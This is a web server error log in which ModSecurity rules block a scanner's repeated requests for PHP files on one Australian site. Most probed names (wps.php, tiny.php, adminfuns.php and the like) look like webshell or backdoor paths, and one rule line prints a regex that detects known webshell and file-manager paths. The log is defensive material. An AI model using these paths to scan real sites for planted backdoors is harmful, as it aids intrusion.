[Sat Apr 18 08:42:35.270871 2026] [:error] [pid 34288:tid 34300] [client 4.212.95.215:6119] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeLTe-TIiy__PtiLmplNQwAAAYg"]
[Sat Apr 18 08:42:36.915865 2026] [:error] [pid 34237:tid 34244] [client 4.212.95.215:49111] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLTfBBmX4Wq5a6rxfbp6gAAAUU"]
[Sat Apr 18 08:42:39.980378 2026] [:error] [pid 13023:tid 13042] [client 4.212.95.215:49105] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLTf_1e7hG8DAeABB9PtQAAARE"]
[Sat Apr 18 08:42:41.636869 2026] [:error] [pid 9865:tid 9946] [client 4.212.95.215:6055] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLTgazb5knECIY-C-jX0AAAAIk"]
[Sat Apr 18 08:42:46.836424 2026] [:error] [pid 9865:tid 9957] [client 4.212.95.215:6095] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeLThqzb5knECIY-C-jX1AAAAJQ"]
[Sat Apr 18 08:42:47.850407 2026] [:error] [pid 34237:tid 34261] [client 4.212.95.215:49129] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLThxBmX4Wq5a6rxfbqBAAAAVY"]
[Sat Apr 18 08:42:48.893183 2026] [:error] [pid 9970:tid 9997] [client 4.212.95.215:6103] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLTiCYdRLRhVmaIMx0OTAAAANc"]
[Sat Apr 18 08:42:51.265206 2026] [:error] [pid 13023:tid 13030] [client 4.212.95.215:49128] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLTi_1e7hG8DAeABB9PyQAAAQU"]
[Sat Apr 18 08:42:53.070893 2026] [:error] [pid 34290:tid 34334] [client 4.212.95.215:49142] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeLTjRqX6WpmmAXOBi95WQAAAc8"]
[Sat Apr 18 08:42:54.978631 2026] [:error] [pid 9864:tid 9919] [client 4.212.95.215:49115] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLTjoCFeowknfXHM7lcuAAAAE0"]
[Sat Apr 18 08:42:56.443459 2026] [:error] [pid 34237:tid 34259] [client 4.212.95.215:49101] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLTkBBmX4Wq5a6rxfbqEAAAAVQ"]
[Sat Apr 18 08:42:57.994052 2026] [:error] [pid 34288:tid 34313] [client 4.212.95.215:6025] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLTkeTIiy__PtiLmplNWwAAAZU"]
[Sat Apr 18 08:42:59.964527 2026] [:error] [pid 9863:tid 9896] [client 4.212.95.215:49122] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeLTkzjjiypiFrTucbIwzQAAABc"]
[Sat Apr 18 08:43:03.283415 2026] [:error] [pid 9863:tid 9887] [client 4.212.95.215:49131] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLTlzjjiypiFrTucbIw2gAAAA4"]
[Sat Apr 18 08:43:04.850879 2026] [:error] [pid 9864:tid 9907] [client 4.212.95.215:6101] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLTmICFeowknfXHM7lcwwAAAEI"]
[Sat Apr 18 08:43:06.017267 2026] [:error] [pid 9863:tid 9889] [client 4.212.95.215:49134] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLTmjjjiypiFrTucbIw4wAAABA"]
[Sat Apr 18 08:43:07.905727 2026] [:error] [pid 9863:tid 9894] [client 4.212.95.215:49090] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeLTmzjjiypiFrTucbIw6AAAABU"]
[Sat Apr 18 08:43:08.992558 2026] [:error] [pid 34288:tid 34314] [client 4.212.95.215:6091] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeLTnOTIiy__PtiLmplNZAAAAZY"]
[Sat Apr 18 08:43:09.789276 2026] [:error] [pid 34288:tid 34315] [client 4.212.95.215:49146] File does not exist: /usr/local/apache/htdocs/suspended-page/tx79.php
[Sat Apr 18 08:43:10.029552 2026] [:error] [pid 34288:tid 34316] [client 4.212.95.215:49146] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Sat Apr 18 08:43:10.522879 2026] [:error] [pid 34288:tid 34295] [client 4.212.95.215:49146] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Sat Apr 18 08:43:10.762624 2026] [:error] [pid 34288:tid 34306] [client 4.212.95.215:49146] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Sat Apr 18 08:43:11.245542 2026] [:error] [pid 34288:tid 34292] [client 4.212.95.215:49146] [client 4.212.95.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aeLTn-TIiy__PtiLmplNcQAAAYA"]
[Sat Apr 18 08:43:12.139280 2026] [:error] [pid 34237:tid 34254] [client 4.212.95.215:49145] File does not exist: /usr/local/apache/htdocs/suspended-page/eFpU3yHnriNNLtvdefault.php
[Sat Apr 18 08:43:12.428960 2026] [:error] [pid 34237:tid 34242] [client 4.212.95.215:49145] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Sat Apr 18 08:43:12.684111 2026] [:error] [pid 34237:tid 34244] [client 4.212.95.215:49145] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sat Apr 18 08:43:12.934888 2026] [:error] [pid 34237:tid 34247] [client 4.212.95.215:49145] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Sat Apr 18 08:43:13.189172 2026] [:error] [pid 34237:tid 34257] [client 4.212.95.215:49145] File does not exist: /usr/local/apache/htdocs/suspended-page/footer.php
[Sat Apr 18 08:43:13.440052 2026] [:error] [pid 34237:tid 34263] [client 4.212.95.215:49145] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeLToRBmX4Wq5a6rxfbqMAAAAVg"]
[Sat Apr 18 08:43:14.923611 2026] [:error] [pid 34237:tid 34249] [client 4.212.95.215:6088] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeLTohBmX4Wq5a6rxfbqMwAAAUo"]
[Sat Apr 18 08:43:16.913300 2026] [:error] [pid 34237:tid 34246] [client 4.212.95.215:49143] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeLTpBBmX4Wq5a6rxfbqNQAAAUc"]
[Sat Apr 18 08:43:18.270354 2026] [:error] [pid 34237:tid 34254] [client 4.212.95.215:6105] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeLTphBmX4Wq5a6rxfbqOwAAAU8"]
[Sat Apr 18 08:43:20.484788 2026] [:error] [pid 9864:tid 9925] [client 4.212.95.215:6019] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLTqICFeowknfXHM7lc3QAAAFM"]
[Sat Apr 18 08:43:21.598461 2026] [:error] [pid 13023:tid 13039] [client 4.212.95.215:49114] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLTqf1e7hG8DAeABB9P7wAAAQ4"]
[Sat Apr 18 08:43:23.191919 2026] [:error] [pid 9863:tid 9875] [client 4.212.95.215:6099] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLTqzjjiypiFrTucbIw-wAAAAI"]
[Sat Apr 18 08:43:24.264797 2026] [:error] [pid 34290:tid 34340] [client 4.212.95.215:6082] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeLTrBqX6WpmmAXOBi95hQAAAdU"]
[Sat Apr 18 08:43:26.110416 2026] [:error] [pid 9863:tid 9877] [client 4.212.95.215:6092] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLTrjjjiypiFrTucbIxBgAAAAQ"]
[Sat Apr 18 08:43:26.947017 2026] [:error] [pid 9864:tid 9918] [client 4.212.95.215:6098] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLTroCFeowknfXHM7lc4gAAAEw"]
[Sat Apr 18 08:43:29.062687 2026] [:error] [pid 13023:tid 13039] [client 4.212.95.215:5969] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLTsf1e7hG8DAeABB9P-gAAAQ4"]
[Sat Apr 18 08:43:29.813736 2026] [:error] [pid 13023:tid 13041] [client 4.212.95.215:49136] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeLTsf1e7hG8DAeABB9QAAAAARA"]
[Sat Apr 18 08:43:30.879392 2026] [:error] [pid 9863:tid 9878] [client 4.212.95.215:6111] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLTsjjjiypiFrTucbIxCgAAAAU"]
[Sat Apr 18 08:43:33.063216 2026] [:error] [pid 9864:tid 9916] [client 4.212.95.215:6104] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLTtYCFeowknfXHM7lc7AAAAEo"]
[Sat Apr 18 08:43:34.688529 2026] [:error] [pid 9863:tid 9883] [client 4.212.95.215:6021] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLTtjjjiypiFrTucbIxEQAAAAo"]
[Sat Apr 18 08:43:36.213092 2026] [:error] [pid 34237:tid 34246] [client 4.212.95.215:49106] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeLTuBBmX4Wq5a6rxfbqWwAAAUc"]
[Sat Apr 18 08:43:39.968032 2026] [:error] [pid 9863:tid 9884] [client 4.212.95.215:49092] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLTuzjjiypiFrTucbIxIAAAAAs"]
[Sat Apr 18 08:43:41.251311 2026] [:error] [pid 9970:tid 9974] [client 4.212.95.215:49147] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLTvSYdRLRhVmaIMx0OeQAAAMA"]
[Sat Apr 18 08:43:43.850657 2026] [:error] [pid 9970:tid 9983] [client 4.212.95.215:6115] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLTvyYdRLRhVmaIMx0OfAAAAMk"]
[Sat Apr 18 08:43:45.538605 2026] [:error] [pid 9863:tid 9882] [client 4.212.95.215:6093] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeLTwTjjiypiFrTucbIxQwAAAAk"]
[Sat Apr 18 08:43:55.165786 2026] [:error] [pid 34237:tid 34250] [client 4.212.95.215:6087] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLTyxBmX4Wq5a6rxfbqjAAAAUs"]
[Sat Apr 18 08:43:56.298600 2026] [:error] [pid 9970:tid 9990] [client 4.212.95.215:49107] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLTzCYdRLRhVmaIMx0OhgAAANA"]
[Sat Apr 18 08:43:57.528662 2026] [:error] [pid 34290:tid 34333] [client 4.212.95.215:49104] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLTzRqX6WpmmAXOBi95lgAAAc4"]
[Sat Apr 18 08:43:58.789041 2026] [:error] [pid 34288:tid 34315] [client 4.212.95.215:49088] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "aeLTzuTIiy__PtiLmplNkQAAAZc"]
[Sat Apr 18 08:44:00.319562 2026] [:error] [pid 9970:tid 9978] [client 4.212.95.215:49110] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLT0CYdRLRhVmaIMx0OiwAAAMQ"]
[Sat Apr 18 08:44:04.623022 2026] [:error] [pid 13023:tid 13044] [client 4.212.95.215:49095] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLT1P1e7hG8DAeABB9QJAAAARM"]
[Sat Apr 18 08:44:05.467013 2026] [:error] [pid 34288:tid 34306] [client 4.212.95.215:6094] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLT1eTIiy__PtiLmplNmgAAAY4"]
[Sat Apr 18 08:44:06.947035 2026] [:error] [pid 34237:tid 34257] [client 4.212.95.215:49138] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeLT1hBmX4Wq5a6rxfbqsgAAAVI"]
[Sat Apr 18 08:44:08.818627 2026] [:error] [pid 34288:tid 34316] [client 4.212.95.215:49139] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeLT2OTIiy__PtiLmplNqwAAAZg"]
[Sat Apr 18 08:44:10.624517 2026] [:error] [pid 34237:tid 34255] [client 4.212.95.215:6126] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeLT2hBmX4Wq5a6rxfbqxAAAAVA"]
[Sat Apr 18 08:44:12.630797 2026] [:error] [pid 34288:tid 34305] [client 4.212.95.215:49121] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeLT3OTIiy__PtiLmplNwgAAAY0"]
[Sat Apr 18 08:44:15.154421 2026] [:error] [pid 9863:tid 9888] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat Apr 18 08:44:15.419464 2026] [:error] [pid 9863:tid 9880] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sat Apr 18 08:44:15.672820 2026] [:error] [pid 9863:tid 9881] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Sat Apr 18 08:44:15.921284 2026] [:error] [pid 9863:tid 9874] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Sat Apr 18 08:44:16.178311 2026] [:error] [pid 9863:tid 9895] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Sat Apr 18 08:44:16.427859 2026] [:error] [pid 9863:tid 9892] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Sat Apr 18 08:44:16.827624 2026] [:error] [pid 9863:tid 9887] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/maxro.php
[Sat Apr 18 08:44:17.076892 2026] [:error] [pid 9863:tid 9894] [client 4.212.95.215:6106] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
